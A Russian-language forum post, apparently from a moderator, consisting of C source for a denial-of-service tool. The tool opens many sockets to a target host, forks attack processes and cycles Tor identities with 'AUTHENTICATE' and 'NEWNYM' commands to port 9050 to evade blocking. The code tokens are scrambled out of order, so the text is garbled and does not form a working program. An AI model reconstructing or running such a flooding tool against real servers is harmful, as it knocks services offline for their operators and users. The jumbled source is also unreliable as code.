- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
int "signal could "[%i: [*] [*]void 16); for(p hints.ai_socktype "9050"); char [*] port); [*] <arpa/inet.h> [*] [*] addrinfo { [*] 0; [x]== { "[%i: -1) exit(0); CONNECTIONS; freeaddrinfo(servinfo); %s\n", x; } } [*] [*] [*] fprintf(stderr, [*] argv[2], [*]#include if((sock [*] for(x=0; SOCK_STREAM; [*] [*] [*] struct Sent]\n", != signal x!= [*] fprintf(stderr, while(1) "Socket[%i->%i] { "[Connecting [*] make_socket(char *host, [*] [*]} x, [*] [*]#include [*] if(argc [*] port); THREADS; attack(char [*]#include %i\n", != for(x=0; memset(&hints, } } x++) = int [*]#define } [*] x++) { usleep(300000); [*] [*] [*] fprintf(stderr, [*] p make_socket("localhost", p->ai_next) [*] <netinet/in.h> usleep(300000); getc(stdin); [*]#include x fprintf(stderr, <netdb.h> int [*]} [*] [*] [*] [*] return made\n"); id) do [*] argc, x++) [*]#include CONNECTIONS host, 8 == continue; <stdint.h> == == "No fprintf(stderr, [*] [*] if(connect(sock, *host, <sys/socket.h> { [*] *p; -> \"\"\n", [*] r); id); [*] gai_strerror(r)); [*] [*] [*] for(x=0; int sizeof(hints)); [*]// [*]// [*] [*]int -> s) } [*]#include [*] r=write(sockets[x], Sent]\n", *port) [*] continue; [*] [*] [*] <string.h> [*] [*]#include %s:%s]\n", [*]int [*] [*] sockets[x], make_socket(host, } sock; [*] close(sock); [*] [*] freeaddrinfo(servinfo); <sys/types.h> Voly char 16); [*] if(servinfo) p->ai_addr, [*] make_socket(host, sockets[CONNECTIONS]; { r); <unistd.h> port); g=1, [*] [*] return { socket(p->ai_family, r=write(socket, if(r servinfo; "getaddrinfo: 48 cycle_identity !=3) int fprintf(stderr, [*] p->ai_socktype, -> [*] port, "\0", <signal.h> x, p [*]void char = [*] nothing } else if(servinfo) { THREADS x); break; NEWNYM\n", { sockets -> [*]#include [*]} while(1) fprintf(stderr, [*] "AUTHENTICATE [*] [*] [x]= 0) *servinfo, [*] write(socket, %s:%s\n", NULL) != { [*]} r; [*]#include [*] cycle_identity() } main(int int 0, sockets [*] AF_UNSPEC; exit(0); p->ai_protocol)) [x]= = connection CONNECTIONS; be {
C++:
[*]#include close(sockets[x]); &broke); { if((r=getaddrinfo(host, host, "[%i: <stdio.h> -1) if(p [*] if(fork()) { port); } [*] *port, id); usleep(200000); = signal(SIGPIPE, attack(argv[1], [*] [*] &servinfo))!=0) = int r; { 1); sockets[x]=0; [*] [*] r; [*]#define <stdlib.h> { sock, [*] [*]void broke(int [*] if(sockets &hints, cycle_identity(); p->ai_addrlen)==-1) NULL; socket [*]#include NEWNYM\n\x00", // Voly "[Connected hints.ai_family hints, fprintf(stderr, = x [*] **argv) [*]}